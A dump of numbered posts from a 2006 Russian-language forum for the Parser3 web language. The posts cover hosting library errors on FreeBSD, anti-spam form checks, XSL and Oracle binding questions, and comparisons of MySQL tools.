Возможности: линии(отключено), изменяемое расстояние между цифрами, изменяемое количество цифр, случайный фон, морфинг цифр (добавление и удаление пикселов), изменяемый цвет, обрезки цифр по краям.\
\
Хотя, по большому счету, это не спасет, ибо ходят слухи, что придумана программа-анализатор. А спасет тот факт, что captcha просто присутствует у вас на сайте. Типа как собачка в доме:)\
\
P.S. Звуковое решение не удалось заставить работать. Пробовал склеивание файла из кусков через base64."
"51840","Все собирался сделать сам, да руки не дошли. Спасибо, в хозяйстве пригодиться."
"51842","Перерыл весь форум, нашел много, все пререпробовал, в результате, по совету ПАФа из [url=\"http://www.parser.ru/forum/?id=32157\"]этого сообщения[/url] создал новый файлик, вызвал в браузере и получил\
[code]/usr/libexec/ld-elf.so.1: Shared object \"libm.so.2\" not found, required by \"parser3.cgi.real\"\
done[/code]\
\
На сервере стоит:\
OS: FreeBSD i386 \
Kernel: 5.4-RELEASE-p8 \
WebServer: Server version: Apache/2.0.55 \
Perl: This is perl, v5.8.7 built for i386-freebsd-64int \
PHP: PHP 5.1.2 (cgi) (built: Feb 17 2006 16:23:59) \
MySQL: /usr/local/libexec/mysqld Ver 4.1.15 for portbld-freebsd5.4 on i386 (FreeBSD port: mysql-server-4.1.15)\
\
Parser и все файлы слиты с этого сайта сегодня утром. Все поставлено как надо (не первый раз ставлю), но по неизвестным причинам получаю 500-ый эррор. Создал лог-файл ошибок, но и он почему-то пустой. Т.е. ошибка есть, а в лог не пишется... Управлять логами не имею возможности, т.к. файлы создаются на хостинге автоматом. Т.е. я просто выбираю вид лога - ошибки там или запросы и т.д. Вот.\
\
Если кто сталкивался - помогите, или дайте ссылку на нужный пост на форуме, а то уже постов 200 перечел разных - уже в глазах рябит."
"51847","переименовываю файл в такое:\
resource_id.старое_расшинение_в_lowercase"
"51848","...выдает следующее:\
\
[code][Wed Apr 05 18:23:26 2006] [error] [client 84.246.64.87] /usr/libexec/ld-elf.so.1: \
[Wed Apr 05 18:23:26 2006] [error] [client 84.246.64.87] Shared object \"libm.so.2\" not found, required by \"parser3.cgi\"\
[Wed Apr 05 18:23:26 2006] [error] [client 84.246.64.87] Premature end of script headers: parser3.cgi[/code]\
\
Странно, ошибки стали писаться. Но решения все еще не найдено. Администрация хостинга говорит, что типа у нас все чисто работает - ищите причины в Парсере."
"51849","т.к. в довесок к antiflood.p я добавил проверки, что форма добавления/редактирования была открыта с этого сайта.\
\
таким образом если ваш брозуер не передает на сервер referer - добавить сообщение вы не сможете.\
\
P.S. таким извращённым образом я глумлюсь только над не залогиненными посетителями. для залогиненных добавился только antiflood, который проблем вызвать не должен."
"51853","ну... если реферером будет yandex.ru и т.д., то я пошлю его подальше. если он будет подделывать referer - прорвется.\
\
P.S. я просто дочитал спам до конца %-). там в конце как раз предлагали искать поиском страницы для добавления сообщений, открывать их и спамить, вот таких я и решил обломать, благо всего один ^if для этого требуется."
"51854","была такая проблема на 6 FreeBSD, точно так же весь форум перерыл, вылечил сборкой парсёра из исходников"
"51855","на 4-й федоре точно работает, и на 5-ю стали переходить - так же работают старые версии парсера, которые работали на 4-й версии федоры. Просто брали и копировали с 4-й версии на 5-ю и всё работает."
"51857","На хостинге сказали, что они не поддерживают Парсер и ничего компилировать не будут. Сам я не умею. Может найдутся люди у кого стоит FreeBSD 5.4 - скомпильте плиз ). Не хочется хостинг менять."
"51858","у меня на хостинге тоже возможности собрать нет, собирал на локально установленной, тоже вариант"
"51859","patch -u welcome.\
кстати, хорошая разминка для любого, кто думает, что он может написать hello, world! на C++."
"51860","для начала попробуйте\
[code]\
cd /path/to/document/root\
/path/to/parser3.cgi _test.html\
[/code]"
"51861","А не подскажете как вывести кучу текста с символами, которые являются служебными в парсере ($, ; и т.д.). Прописывать каждый раз ^$ не получиться. Ведь есть решение?"
"51862","не тупо блокировка на любую потенциальную не-thread-safe операцию,\
но на [b]одном[/b] локе:\
[code]\
Лок.БлокироватьНаЧтение\
#и, отдельно,\
Лок.БлокироватьНаЗапись\
[/code]\
по сравнению с традиционными блокировками это позволяет \
полностью распараллелить читателей:\
два чтения так могут идти одновременно."
"51863","пути к классу и картинкам прописал,\
но что-то картинка не грузиться. что еще забыл?"
"51864","в середине марта падала, ростом и диаметром с половину автора, пролетела в метре, слава, Богу.\
\
потеря для сообщества? нет,\
сейчас проект может вести любой, владеющий C++ на среднем уровне.\
\
дом построен, структура продумана, в её рамках можно многое доделывать не вдаваясь в детали.\
\
если кто чуствует в себе силы, всегда помогу.\
\
предлагаю пользоваться нерасторопностью сосульки,\
а не халявить.\
\
пока воспользовались… 6 человек."
"51866","в Студию ;)\
в смысле, пришлите?"
"51867","опишите так, как считаете нужным, мы подумаем, куда это включить."
"51868","это либа, где хранятся функции вычисления синуса с косинусом.\
\
эта либа обязательно должна быть на любой нормальной системе. она в unix уже под двадцать лет есть, если не больше.\
\
вы с администраторами разговаривайте не про parser, а про эту либу. им не жалко, они просто почему-то упёрлись и вас не понимают."
"51869","или в базу данных и выведите.\
иначе никак."
"51871","иначе нужно обновить документацию:\
\
[quote]не определенными (не def) считаются пустая строка, пустая таблица, пустой хеш, код [b]и false[/b].[/quote]"
"51872","И добавил <noindex> вокруг слов Новая тема, добавить сообщение и пр., а также в robots запретил индексировать страницу добавления сообщений :-) Спам про миллионы практически сошел на нет."
"51873","[code]\
$foo[$._default[bar]]\
^foo.delete[_default]\
$foo.bar\
[/code]\
\
результат: bar"
"51874","Чтобы народ не ленился и писал внятные поля. В любом случае можно переписать так:\
[code]$foo[$._default[bar]]\
$foo._default[]\
$foo.bar[/code]"
"51876","если обратиться к картинке напрямую, парсер скажет, в чем дело"
"51878","есть xml файл шаблона:\
[code]<latestBlock>\
<header>$header</header>\
<content>$short_text</content>\
<lank href=\"$uri\" image=\"$image\"></lank>\
</latestBlock>\
[/code]\
Он временно вставляется в еще один блок\
[code]\
<latestContainer>\
	 $sourceDoc[^xdoc::load[/datatypes/latest_block.xml]]\
^process{^sourceDoc.string[$.method[html]]\
</latestContainer>[/code]\
и его кусок обрабатывается шаблоном\
[code]\
<xsl:template match=\"lank\">\
<div class=\"more\">\
 <a href=\"{@href}\" onmouseout=\"document.getElementById('left_image').style.background = 'none'\" onmouseover=\"document.getElementById('left_image').style.background = 'url(/images/news/{@image})'\">ПОДРОБНЕЕ</a>\
</div>\
</xsl:template>\
[/code]\
в итоге в поле ссылка вместо содержимого переменной $uri получаем %24\
Если кто знает решение буду признателен, так как горит."
"51880","Труба мое дело (. Нужно искать систему, как на хостинге, ставить и компилить себе Парсер.\
\
On Thu, Apr 06, 2006 at 10:33:29AM +0300, Азиз Газанчиян wrote:\
> Ну, тут дело не столько в Парсере, сколько в наличии правильной системы. На нормальной системе Парсер ставится без проблем. Я не прошу вас поддерживать Парсер - этим занимаются другие - я просто прошу вас привести вашу систему к нормальному виду. Очень не хочется искать другой хостинг.\
\
 Тут как раз дело в том, что у Вас уже откомпилированные бинарники на\
другой системе, что некоррктно - это Вам не Винда. Для корректной работы\
необходимо, чтобы все бинарные файлы были откомпиллированы на той системе,\
на которой они будут работать, т.е. на нашем сервере.\
\
\
> \
> -----Original Message-----\
> From: Support <support@ho.com.ua>\
> To: Газанчиян Азиз <creage@mail.ru>\
> Date: Thu, 6 Apr 2006 10:30:06 +0300\
> Subject: Re: Отсутствие библиотеки\
> \
> >\
> > Здравствуйте. мы ещё раз сообщаем, что не будем поддерживать parser.\
> >\
> >On Wed, Apr 05, 2006 at 10:45:11PM +0300, Газанчиян Азиз wrote:\
> >> Login: creage\
> >> \
> >> Здравствуйте еще раз.\
> >> \
> >> Пару часов назад писал вам о том, что у вас отсутствует одна \
> >> библиотека в системе. Она необходима для правильной работы \
> >> моего сайта, т.к. без нее я получаю:\
> >> \
> >> \
> >> /usr/libexec/ld-elf.so.1: Shared object \"libm.so.2\" not \
> >> found, required by \"parser3.cgi\"\
> >> \
> >> \
> >> Вот, что мне сказал разработчик Парсера:\
> >> \
> >> \
> >> %%%%%%%%%%%%%%%%%%%%%\
> >> libm.so\
> >> \
> >> Александр Петросян (PAF) 05.04. 23:40 \
> >> \
> >> \
> >> это либа, где хранятся функции вычисления синуса с \
> >> косинусом.\
> >> \
> >> эта либа обязательно должна быть на любой нормальной \
> >> системе. она в unix уже под двадцать лет есть, если не \
> >> больше.\
> >> \
> >> вы с администраторами разговаривайте не про parser, а про \
> >> эту либу. им не жалко, они просто почему-то упёрлись и вас \
> >> не понимают.\
> >> %%%%%%%%%%%%%%%%%%%%%%\
> >> \
> >> Вот. Есть ли возможность установить эту библиотеку? Т.к. как \
> >> я понимаю, она совсем не лишняя в системе.\
> >> \
> >> \
> >> С уважением, Азиз.\
> >\
> >-- \
> >С уважением, Support team\
> >http://ho.com.ua\
> >mailto: support@ho.com.ua\
> >\
> \
> С уважением, Азиз.\
\
-- \
С уважением, Support team"
"51881","Заказчик так заказал.\
Но, видимо, я слишком все в объяснениях усложнил. Важно, то, что написано в последней части поста:\
\
[quote]- serial_number – состоит из одной или нескольких букв и семизначного числа от 0000001 до 9999999. И выглядит, как A0000002, A0000003 … A9999999. Когда серия доходит до A9999999 и добавляется следующий номер, должно получиться B0000001. Когда доходит до Z9999999 следующим серийным номером должно быть AA0000001. И т.д.\
Вообще эти серийные номера генерятся партиями. Т.е. заходит чел, давит кнопку «Сгенерировать 1000000 серийных номеров» и у нас начинается процесс генерации серийных номеров. Важно, чтобы цифровая часть серийного номера шла по-порядку.[/quote]\
\
Ну, короче. Все видели денежную купюру. На ней стоит буквенная серия и порядковый номер. Нарпимер, досталя я щас 10 рублей, там написано:\
3c 3845747\
3845747 - порядковый номер купюры с серией 3с. Следующая купюра идет 3c 3845748 и т.д. Когда номер становится 3с 9999999 и делаем следующий номер, изменяется серия, а номер сбрасывается в 1:\
3d 0000001\
\
Вот, что мне нужно."
"51882","Им просто лень сделать 2-3 симлинка на свои библиотеки. Это дело 2 минут."
"51883","[quote]У нас стоит FreeBSD 5.4. У Вас же бинарник для FreeBSD 4.X.\
А вскоре вообще у нас будет обновление до FreeBSD 6.0. И мы НЕ БУДЕМ\
поддерживать системно-зависимые бинарные файлы клиентов.[/quote]\
\
че мне делать?"
"51884","Что делать?\
Менять хостера!\
\
у меня работает на 6.0\
На Debian Sarge\
На Linux RedHat 9\
На DebianGNU -- без сборок, просто админы здоровые на голову"
"51885","У нас Парсер работает одновременно на 4, 5 и 6 версиях - все нормально. Используем Студиные бинарники от 4."
"51886","Поставил версию parser3_2_1_freebsd410R взял из раздела \"скачать\"\
Зашел через ssh под root'ом\
Поставил права на парсер и все его библиотеки root:wheel\
Запускаю скрипт как обработчик хтмл\
/usr/local/www/data/site01/cgi-bin/parser3.cgi /usr/local/www/data/site01/cgi-bin/_test.html\
Все великолепно заработало, подключение к БД также прошло без проблем.\
Возвращаю права st01:www\
Пробую запустить через адресную строку\
http://site01.ru/cgi-bin/parser3.cgi\
получаю ошибку: Premature end of script headers\
\
...\
\
Служба поддержки ответила следующее: \"...parser не отдаёт Content-type:. Причем \
судя по всему проблема это не во FreeBSD, т.к. у нас она возникла под Linux'ом...\""
"51889","/somename/somename/somename -- строка тобишь, просто все остальные переменные обрабатываются, а переменная достаная из параметров нет"
"51890","как получить доступ к записи с максимальным ID в xsl шаблоне?\
заранее благодарен."
"51891","test.html\
[code]@main[]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<latestBlock>\
	<header>header</header>\
	<content>short_text</content>\
	<lank href=\"test/test/test\" image=\"img\"/>\
</latestBlock>}]\
\
$xsl[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:fo=\"http://www.w3.org/1999/XSL/Format\">\
\
	<xsl:template match=\"lank\">\
		<div class=\"more\">\
			 <a href=\"{@href}\" onmouseout=\"document.getElementById('left_image').style.background = 'none'\" onmouseover=\"document.getElementById('left_image').style.background = 'url(/images/news/{@image})'\">ПОДРОБНЕЕ</a>\
		</div>\
	</xsl:template>\
	\
</xsl:stylesheet>}]\
\
$doc[^xml.transform[$xsl]]\
\
$response:body[^doc.string[\
	$.method[html]\
	$.indent[no]\
]][/code]"
"51892","xsl:sort по атрибуту ID по убыванию в apply-templates (или call-templates) и работа с первым узлом множества."
"51893","если я туда впишу текст -- то все будет нормально -- но у меня там переменная и если в content или header -- подcтавляется ее значение то в @href заменяется символ $ на %24"
"51894","И поглядим, как оно."
"51895","можно немного подробнее... если можно на примере..."
"51897","хоть то и бессмысленно сделал.\
Возьмите свой код и поменяйте\
[code]$uri[somestring]\
<lank href=\"$uri\" image=\"img\"/>[/code]\
На выходе получиться a href=\"%24somestring\""
"51898","Ничего у вас не выйдет, ибо $ - недопустимый символ в ссылке, насколько я помню. Потому при трансформе он будет приводится к коду символа.\
Поэтому, если хочется идти в том же направлении (по-моему оно не верно в корне), то делайте преобразование %24 -> $и  делайте процесс."
"51899","где для создания шаблона в xml документ вписываются простые переменные $uri $text $short_text и т.д., эти переменные содеражат дданные из бд, создаются на лету функцией на подобие mysql_fetch_assoc()"
"51901","Что вам мешает генерить xml на основе БД и уже по готовому делать нормальный трансформ, без process'а?"
"51902","…зачем вам создавать xdoc объек, что бы потом его переводить в строку?\
Не проще ли загрузить текстовый файлик? Тогда и проблемы с '%24' не будет."
"51903","вопрос решен -- заменил href= на другое имя\
Зачем xml -- чтобы потом обрабатывать xslt в правильой последовательности иметь возможность легко измнять дизайн и прочее"
"51904","потому что пока не весь проект на xml\
потому-что парсится весь блок по содержимому блока\
Меня такой процесс пока вполне устраивает"
"51905","люди, как привязать таблицу к запросу?\
\
[code]\
^connect[$SQL.connect-string]{\
$res[\
		$.returning_value[^table::create{result}]\
]\
^void:sql{\
begin \
\
select Get_Simple_Field_as_Clob(docid, 'TITLE', 'WEB_SOURCE')\
	into :returning_value\
	from (select document_id docid\
		from documents_tree\
		where dockind_id = PKG_ID_CACHE.Get_Kind_ID('WEB_SOURCE')\
		and rownum=1\
)^;	\
end^;\
}[\
	$.bind[$res]\
]}\
[/code]\
\
ORA-01008: не все переменные привязаны (execute, -1)\
begin select Get_Simple_Field_as_Clob(docid, 'TITLE', 'WEB_SOURCE') into :my_table.data from (select document_id docid from documents_tree where dockind_id = PKG_ID_CACHE.Get_Kind_ID('WEB_SOURCE') ); end;"
"51906","устал возиться с админами - сменил хостинг. Посмотрим как себя покажет bhost.ru."
"51907","_default, это не очередной элемент.\
\
это свойство всего hash.\
\
посмотрите на это с другой стороны:\
скажем, есть два hash, A и B.\
в A лежат одни элементы и он имеет один default,\
в B другом лежат другие и тот имеет другой default,\
потом почему-то захотелось убрать лишние из A.\
в B имеем список ненужных элементов.\
[code]\
^A.delete[$B]\
[/code]"
"51908","поддерживаются только простые binds: строки, числа.\
таблицы(=cursors, как в вашем примере) не поддерживаются.\
\
поэтому:\
1. перефразируйте немного свой PL/SQL, чтобы результат попал в переменную простого типа.\
2. вы где-то допустили опечатку: parser'у вы сказали, что привязываете переменную «returning_value», и вроде бы её и выдаёте из PL/SQL, однако в сообщении об ошибке ясно виден кусочек: «:my_table.data». там должно быть «:returning_value». перепроверьте."
"51909","Linux?"
"51910","добавим."
"51911","...спаммеры сейчас забирают страницу и постят обратно форму со всеми полями которые на ней были, при это указывается корректный рефер и нормальный user_agent. \
Поэтому пишу все что не пропустил фильтр (в том числе и antiflood.p) в лог, чтобы была, так сказать, пища для размышлений. Примерно в таком виде:\
\
* страница которую запросили (у меня несколько форм для добавления сообщений), \
* причина (antiflood, не тот submit, etc)\
* timestamp, \
* $request:body, \
* $env:REMOTE_ADDR, \
* $env:HTTP_USER_AGENT, \
* $env:HTTP_REFERER\
\
\
На удивление очень эффективным оказалось несколько sumbit, из которых только один верный, а остальные скрываются средствами CSS. Пока 100% эфективность :)\
\
\
P.S. Хотелось бы чтобы в парсере появилась $request:header, если это конечно, можно корректно реализовать. Было бы удобно для дебага и ведения некоторых логов."
"51914","2. вы где-то допустили опечатку: parser'у вы сказали, что привязываете переменную «returning_value», и вроде бы её и выдаёте из PL/SQL, однако в сообщении об ошибке ясно виден кусочек: «:my_table.data». там должно быть «:returning_value». перепроверьте.\
\
-- код, для того чтобы он стал более понятен, правил прямо когда писал в форум, а сообщение об ошибке скопировал.\
\
PAF, если я правильно вас понял, то оракловыми средствами надо переделать ответы - надо возвращать из базы строки, которые можно потом будет переделать в Парсеровские таблицы. Вернуть что-нибудь вроде tab-delimited и сней работать? (*С Ораклом у меня глухо, если можете объясните. *), а если так:\
[code]\
select to_char(Get_Simple_Field_as_Date(docid, 'DATE',  'WEB_SOURCE'), 'DD.MM.YYYY') || ' г.',\
               Get_Simple_Field_as_Clob(docid, 'TITLE', 'WEB_SOURCE')\
               into :oracle_output\
               from (select document_id docid\
                     from documents_tree\
                     where dockind_id = PKG_ID_CACHE.Get_Kind_ID('WEB_SOURCE')\
                     and doc_name = '/\\'\
                     order by to_char(Get_Simple_Field_as_Date(document_id, 'DATE', 'WEB_SOURCE'), 'YYYYMMDD') desc,\
                     document_id desc\
)^;\
[/code]\
\
\
P.S. Надо бы в документацию эту полезную информацию добавить. Вчера долго читал - там ничего нет про привязку только простых типов.\
\
P.P.S. \
Причешу мысли:\
1. Из оракла селектами можно вытаскивать таблицы\
2. Внутренняя структура базы настолько сложна, что писать и отлаживать селекты - нет смысла.\
3. Есть оракловые процедуры, которые возвращают с некторомы извращениями то что надо ( выше - пример получения новостей из этой базы)\
\
Отсюда вопрос: Как сделать рационально. Стоит ли переделывать Ораклом таблицы -> простые переменные. Ведь должен же быть способ, где все просто.\
"
"51915","как на парсере можно реализовать проверку формата даты при обработке формы?"
"51917","[code]^try{\
	$date[^date::create[$form:date]]\
}{\
	$exception.handled\
	делаем чего-нить при неправильном формате\
}[/code]\
Ещё можно сделать проверку по типу: http://www.parser.ru/forum/?id=39035\
Всё зависит от того, как у вас всё реализовано."
"51918","Супер! Спасибо."
"51921","для меня прощ так \
^if(^func:isDefQuery[idCollumn;table;condition]){\
}{\
\
}"
"51923","но я пониаю маленький код, но целый sql запрос туда класть?"
"51924","[code]@method[][whatYourName]\
...\
$whatYourName[^string:sql{SELECT name FROM users WHERE user_id = ^form:user_id(0)}]\
\
^if(def $whatYourName){\
	Вот мое имя: $whatYourName\
}\
...[/code]\
\
[code]@method[]\
...\
^if(def $whatYourName[^string:sql{SELECT name FROM users WHERE user_id = ^form:user_id(0)}]){\
	Вот мое имя: $whatYourName\
}\
...[/code]\
По-моему, никому не поплохеет."
"51925","Не вижу связи одного с другим, так что одно мешало другом..."
"51926","Сегодня столкнулся с \"родными\" MySQL программами MySQL Administrator и MySQL Query Browser.\
Уже не то, что было год назад. С ними уже довольно притно можно работать. И бесплатные :)"
"51927","Планируется ли расширение функций работы с изображениями?\
К примеру возможности сборки с библиотеками gd (gif), jpeg-6b, libpng. И библиотеками для работы со шрифтами, FreeType, Tlib.\
Интересно отношение авторов к этому вопросу."
"51928","Из-за сабжа Apache не запускается (\"ntwdblib.dll не найден\" - ну конечно, MS SQL сервер в ножик пока не входит).\
\
И в small, и в full версии.\
\
Естественно, если закомментировать, начинает работать как часы."
"51929","fabforce DBdesigner рулит"
"51931","... И всё-таки и более и более соответствовать надписям на главной странице.\
\
[i]P.S. Не стоит убеждать, что использование класса для работы с изображениями и введение дополнительных функций - это было бы одно и тоже.[/i]"
"51932","я и не говорю что он рулит. я сказал, что с ними уже довольно приятно можно работать :)"
"51934","вот что я увидел на www.tigir.com в рецептах CSS (http://tigir.com/css.htm) есть вопрос \"IE растягивает пустой DIV по высоте. Как быть?\"\
\
и там в качестве решения написано font-size: 0;"
"51935","Просто не хочет отображать эти редакторы.\
Вроде как дело в самой Опере.\
Поискал в Интернете, предлагают использовать 9 версию браузера.\
Вот и возникает вопрос, есть ли возможность использовать 8 версию и нормально отображать данные WYSIWYG редакторы?"
"51941","http://www.webstandards.org/files/acid2/test.html\
\
скриншоты из O8.5, O9, FF1.5 и IE5.5 нужны?\
\
описания:\
http://www.webstandards.org/action/acid2/\
http://www.webstandards.org/files/acid2/guide.html\
\
\
P.S. предлагаю завязывать с этим офф-топиком"
"51942","Просто я не люблю оперу уже по инерции :)\
:)Но мы ведь сюда не спорить про оффтопы собрались :)\
Кроме того, нас всех на этом форуме объединяет Парсер."
"51943","Формирую страничку в формате wml из xml с помощью xsl\
Подключаемый шаблон WML гружу из файла wml.p\
[code]\
#******************MAIN************************\
@main[]\
^header[]\
^body[]\
^footer[]\
\
$response:cache-control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]\
$response:pragma[no-cache]\
$response:content-type[\
	$.value[text/vnd.wap.wml]\
	$.charset[utf-8]\
]\
\
#****************header************************\
@header[]\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\" \"http://www.wapforum.org/DTD/wml_1.1.xml\">\
<wml>\
<card id=\"card\" title=\"^title[]\">\
<p>\
#************************BODY********************\
@body[]\
#*********************FOOTER*********************\
@footer[]\
</p>\
</card>\
</wml>\
[/code]\
\
Дальше страничка где загружается xml и с помощью внешнего xsl готовим результат к выводу.\
[code]\
@USE\
/classes/wml.p\
\
@title[]\
Оглавление\
\
@body[]\
$sourceDoc[^xdoc::load[http://внешний/файл.xml]]\
$transformedDoc[^sourceDoc.transform[article.xsl]]\
^transformedDoc.string[]\
[/code]	\
\
и в результате в эмуляторе выскакивает ошибка: error \"xml processing instruction not at start of external antity\" at line 5 character 3\
и выдает код:\
[code]\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\" \"http://www.wapforum.org/DTD/wml_1.1.xml\">\
<wml>\
<card id=\"card\" title=\"оглавление\">\
<p>[b]<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>[/b]\
test\
</p>\
</card>\
</wml>\
[/code]\
Я на форуме видел, PAF писал нечто подобное, но чесно говоря я не въехал.\
Может не поленитесь подробнее объяснить.\
Спасибо."
"51944","встречал редакторы, работающие в 8.xx, но они сильно проигрывают по возможностям/настраиваемости упоминаемым (FCK, Tiny)\
\
P.S. 2 автор топика: забейте, комьюнити у опероводов не такое большое, и как только выйдет девятка большинство из них сразу перейдут н неё в связи со значительными нововведениями. да и не будут плакать те, кто сейчас пользуется восьмеркой если не увидят кнопочек в предложенной им вами форме, привыкли они к этому уже :)"
"51945","Зато они увидят нормальный мэйл клиент, читалку RSS приятный интрфейс и забьют на кнопочки."
"51946","возможно, годится простой подход:\
[code]\
$table[^table::sql{select\
to_char(Get_Simple_Field_as_Date(docid, 'DATE',  'WEB_SOURCE'), 'DD.MM.YYYY') || ' г.' [b]as date[/b],\
               Get_Simple_Field_as_Clob(docid, 'TITLE', 'WEB_SOURCE') [b]as title[/b]\
 [b]/*без всякого into*/[/b]\
               from (select document_id docid...)\
}]\
[/code]"
"51947","клещи истёрлись и не работают."
"51949","Честно говоря в поиске не нашел. Пример с построением не понял, т.к. там много того, что мне не требуется и въехать сложно.\
Есть табличка разделов магазина (символом - для наглядности разделяю ячейки - 3 столбца):\
id - parent_id - title\
1 - 0 - Товары\
2 - 0 - Услуги\
3 - 1 - Компьютеры\
4 - 1 - Алкоголь\
5 - 2 - Помывка в вытрезвителе\
6 - 3 - Пиво\
Т.е. схема простая - каждая категория имеет свой личный номер (id), свое название (title) и номер родительской категории (0 - корневая, 1 - подраздел раздела \"Товары\", 2 - подраздел раздела \"Услуги\", 3 - подраздел раздела \"Алкоголь\").\
Внимание, вопрос: подскажите простой скриптик, как выбрать список id'ов всех подразделов раздела \"Товары\" (включая родительскую категорию \"Товары\"). Просто получить табличку:\
id\
1\
3\
4\
6\
\
Что-то я с этими рекурсиями уже совсем потерялся."
"51950","...и интересно, работают ли сейчас какие-нибудь сайты на самых первых версиях парсера, и сколько их потребовалось сделать, чтобы эта технология приобрела устойчивые черты и встала, так сказать, на ноги ?"
"51951","Кто-то уже говорил по этому поводу на форуме. Она было только внутри студии."
"51952","я тестировал на рабочем компьютере: там SQL Server нет, но всё работало. Возможно, эту библиотеку ставит какое-нибудь обновление MDAC, которого у вас нет. \
\
Тем не менее, спасибо за bug report - мне надо было внимательнее смотреть на dll dependencies. DLL включил в комплект, новая версия (3.2b) уже лежит на sourceforge."
"51953","Под Windows (конкретно XP-Pro) Apache выбрасывает ошибку со ссылкой на модуль php4ts.dll [версия файла php4ts 4.4.2.2]\
\
<?\
fopen(\"http://www.parser.ru/messages.rdf\",'r');\
?>\
\
В предыдущей сборке такого нет (php 4.3.0, [php4ts 4.3.0.0]) - работает на ура.\
\
Денвер в сборке с php 4.4.0 тоже работает [версия php4ts 4.4.0.0])\
\
Проблема оказалась именно в версии, как я понял, разработчики рекомендуют переходить сразу на 5.1:\
http://bugs.php.net/bug.php?id=36017"
"51955","я всетаки не понимаю.... что нужно для сборки... вот вывод системы на установленные \
пакеты и на сомпиляцию парсера:\
bsd# pkg_info\
autoconf-2.59_2     Automatically configure source code on many Un*x platforms\
boehm-gc+threaded+redirect+fulldebug-6.5 Garbage collection and memory leak detection for C and C++\
cups-base-1.1.23.0_5 The Common UNIX Printing System: headers, libs, & daemons\
.....\
.....\
libtool-1.3.5_2     Generic shared library support script (1.3)\
.....\
\
checking for libgc... no\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
\
т.е. то что обсуждено установлено\
вот бы хоть в одном из ответов имя файла указано было к который нужно путь указать, \
а то одни рассуждения о нужности-ненужности, а как сдклать непонятно"
"51956","MySQL-Front 3.2, пусть и крякнутый, рулит надо всеми. Пока не вижу ему альтернативы.\
\
А в разработках MySQL (Query Browser/Administrator) столько багов и глюков, что ну их ... Халява, да и наспех сделаная - не старались короче."
"51957","Я сейчас делаю под пятую версию, и ничего -- с очевидными проблемами не сталкивался.\
"
"51958","на DBDesigner4? под 5-ый мускуль? Не смешите - он не работает с 5-ым! Даже с 4-ым он работает через 3-ий. Да и способы разработки напоминают этот, как его - FrontPage."
"51959","Тип баз InnoDB он поддерживает.\
Базы данных он создает.\
Если надо что-то подправить -- это делается в Query modу\
Писать запросы и связывать в нем таблицы я не пытаюсь, делаю это руками.\
Мне просто нужно видеть вс таблицы в удобном виде."
"51960","поскольку накопленная статистика говорит, что память PAF забывает всё быстрее, чем память MoKo ;)\
\
насколько я знаю, нулевая версия используется по сей день.\
написана на perl, и приносит каждодневную радость нашим админам.\
конфиги серверов Студии никто давно не пишет руками.\
\
насколько помню, первая версия использовалась очень активно, с год-два, и вторая от неё отличается только небольшим приятным добавлением by PAF: механизмом [url=\"http://www.parser.ru/docs/lang/tainting.htm\"]tainting[/url]."
"51961","возьмите последнюю версию исходников и запустите\
[code]./buildall-without-xml[/code]\
\
если так почему-то не нравится, ответ на ваш вопрос есть внутри buildall-without-xml."
"51962","но почему-то у меня он не стал коннекотиться к моему 5-ому мускулю. Пишет, что типа логин/пасс не тот. Пробовал, пробовал, и libmysql.dll от 5-ого скопировал, не хочет. Потом порылся в ФАК-ах, нашел следующее\
[quote]07 - Which version of MySQL are supported?\
\
Version 3 and 4 MySQL servers are supported. Connections to version 4 servers will be established using the version 3 MySQL library because version 4 is not supported by the native driver, currently. If you are having troubles connection to version 4 databases use the ODBC driver. [/quote]\
и снес его."
"51963","даже сходив по этой ссылке, получив сырцы, скомпилировав, установив эту gc\
при компиляции парсера выдает:\
\
configure: WARNING: neither --with-shared/static-gc were specified, hoping linker would find it\
checking for libgc... no\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
\
так и вспоминается старый анекдот:\
Еврея спрашивают:\
 - Почему вы всегда отвечаете вопросом на вопрос?\
 - А вы как думаете?"
"51964","я делаю так -- проектирую базу на четвертом(Денвер) -- дальше кладу на сервер, тестирую, добавляю функци пятерки и т.д. -- мне просто пфункции пятерки некоторые особо не нужны -- а вот innodb и транзакции очень. Кстати об InnoDB [url=\"http://dull.ru/2005/11/09/db-speeds/\"]Интересный тест на производительность БД[/url]"
"51965","Почему юзерпик сменили, с жуком было колоритнее."
"51967","Просто PgSQL я не пользовался, MSSQL тоже.\
Если есть какая-то инфа можете поделиться?\
Бужу благодарен, думаю не только я."
"51968","ПАФ, извините за повтор, просто не видел что пост появился,\
но ваш вариант тоже не проходит.\
говорит следующее:\
./buildall-without-xml\
buildall-without-xml\
Script author: Alexander Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Building...\
Downloading libgc [1 lib of 1]...\
wget: not found\
Unpacking...\
gc6.6.tar.gz: No such file or directory\
tar: Error opening archive: Empty input file: Inappropriate file type or format\
cd: can't cd to gc6.6\
Configuring libgc...\
./buildall-without-xml: ./configure: not found\
Building libgc...\
make: no target to make.\
make: don't know how to make install. Stop\
Configuring parser3...\
configure: WARNING: to regenerate Parser grammar YOU WOULD NEED BISON\
configure: WARNING: enabling charset windows-1251\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
Building parser3...\
make: don't know how to make install. Stop\
DONE"
"51969","[url=\"http://clops.livejournal.com/487882.html\"]Более развернуто[/url]"
"51970","что-то типа этого:\
http://sunsite.mff.cuni.cz/MIRRORS/ftp.mysql.com/information/benchmarks.html\
\
сейчас я их там быстренько найти не смог. но тем не менее сравните подходы в тестировании.\
\
P.S. в поставке mysql есть тесты, позволяющие сравнивать производительность."
"51971","Конечно они все в пользу мускула :)\
У майкрософта наверное бенчмарки в пользу mssql\
Но с точки зрения использования разного вида таблиц в mysql мне innodb кажется более интересным, хотя из-за хостеров и привычки они используются редко"
"51972","кроме отсутсвия индексов по blob полям...\
\
Меня только это и сдерживает от полного перехода на этот тип."
"51974","Замедление insert'а меня не смущает.\
